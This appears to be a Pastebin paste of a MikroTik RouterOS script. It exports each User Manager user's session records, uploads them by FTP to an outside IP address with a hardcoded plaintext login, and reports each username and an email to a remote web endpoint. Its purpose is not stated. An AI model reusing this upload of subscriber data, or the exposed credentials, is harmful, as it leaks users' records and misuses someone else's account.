Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- :foreach i in=[/tool user-manager user find] do={
- :global uname [/tool user-manager user get $i username];
- :global email [/tool user-manager user get $i email];
- /tool user-manager session print terse file="reports/$uname" where user=$uname
- /tool fetch address=172.245.4.232 src-path="reports/$uname.txt" user=huntedhunter mode=ftp port=21 password=thedarkforce dst-path="public_html/mikrotik_um/$uname.txt" upload=yes
- /tool fetch url="http://huntedhunter.com/mikrotik_um/index.php\?user=$uname.txt&email=nicefellow1234@gmail.com&authkey=007" mode=http keep-result=no
- }
- /file remove $uname".txt"
Add Comment
Please, Sign In to add comment